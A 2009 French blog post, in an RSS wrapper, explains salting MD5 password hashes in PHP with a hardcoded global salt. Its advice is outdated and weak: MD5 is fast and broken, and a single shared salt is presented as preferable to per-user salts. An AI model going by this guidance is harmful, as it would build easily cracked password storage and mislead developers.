<p>Intrigant comme titre non ? La technique du grain de sel est une méthode permettant de renforcer les hash MD5 des mots de passe d&#8217;une application, elle n&#8217;est pas spécifique à PHP et peut être adapté à bien des langages.</p>
<p>Le fonctionnement de cette technique est très simple, il conciste à concaténer une chaine au mot de passe avant de le hasher en MD5, cette chaine étant composée de caractères aléatoires de préférence. Le but de cette manoeuvre? Tout simplement rallonger le mot de passe et rendre les attaques par brute-force et par rainbow tables plus difficiles pour ne pas dire impossibles.</p>
<p>En effet, avec des attaques par rainbow tables (tables arc-en-ciel en français) il est souvent possible de casser un mot de passe de 8 lettres et moins, sachant qu&#8217;il est rare qu&#8217;un utilisateur ait un mot de passe d&#8217;une longueur supérieur, les chances de réussite sont relativement élevées.</p>
<p>A l&#8217;aide d&#8217;un grain de sel, on va résoudre ce problème de longueur de mot de passe et rendre les attaques de décryptage beaucoup plus fastidieuses. Voyons un peu en pratique comment implémenter notre méthode :</p>
<blockquote><p>$salt = &#8220;aJ!#eIL-pwZm*F&#8221;;  // Notre grain de sel, une chaine de caractères</p>
<p>$password = $_POST['password'];  // Le mot de passe saisie par l&#8217;utilisateur via le formulaire d&#8217;enregistrement</p>
<p>$password = md5($password.$salt);  // On effectue une concaténation du mot de passe avec notre grain de sel</p></blockquote>
<p>Voilà&#8230; c&#8217;est aussi simple que ça ! Il ne reste plus qu&#8217;à sauvegarder le mot de passe dans la base de données, bien entendu, pour vérifier le mot de passe de l&#8217;utilisateur quand il voudra s&#8217;identifier il ne faudra pas oublier de concaténer à nouveau le mot de passe saisie avec le grain de sel.</p>
<p>Lorsqu&#8217;on dévelope une application qui sera redistribuée avec sa source, on ne peut pas implémenter la technique du grain de sable directement comme on l&#8217;a fait plus haut, pour la simple raison que le &#8220;salt&#8221; sera visible par tous dans le code source, il y a 2 solutions que je connais pour y remédier :</p>
<p>1/ Soit vous demandez explicitement aux utilisateurs de votre application d&#8217;éditer la source pour modifier la valeur du salt.</p>
<p>2/ Soit vous concevez une fonction qui générera un salt et qui sauvegardera sa valeur dans la base de données, votre application pourra ainsi obtenir la valeur du salt dès qu&#8217;elle en a besoin en intérrogant la BD. C&#8217;est cette technique qui est par exemple employée par Joomla, à la différence qu&#8217;il y a un grain de sel généré pour chaque utilisateur.</p>
<p>Personnellement, si vous développez une application pour votre propre besoin, préférez la première façon de faire car elle présente l&#8217;avantage d&#8217;être moins gourmande en ressource (pas de fonction de génération avec des random, ni de requêtes SQL) et elle n&#8217;est pas vulnérable aux injections SQL.</p>
<p>Voilà&#8230; j&#8217;espère vous avoir présenter une fois de plus un article instructif et simple. N&#8217;hésitez pas à laisser des commentaires et à proposer des solutions alternatives.</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/lebricabrac.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/lebricabrac.wordpress.com/108/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/lebricabrac.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/lebricabrac.wordpress.com/108/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/lebricabrac.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/lebricabrac.wordpress.com/108/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/lebricabrac.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/lebricabrac.wordpress.com/108/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/lebricabrac.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/lebricabrac.wordpress.com/108/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=108&subd=lebricabrac&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://lebricabrac.wordpress.com/2009/08/10/php-securite-technique-du-grain-de-sel/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9d813660c3a4de1e7d4153f3e8aa7410?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nassim</media:title>
		</media:content>

		<media:content url="http://www.espace4you.net/allimages/8179138685244021600.jpg" medium="image">
			<media:title type="html">sel</media:title>
		</media:content>
	</item>
	</channel>
</rss>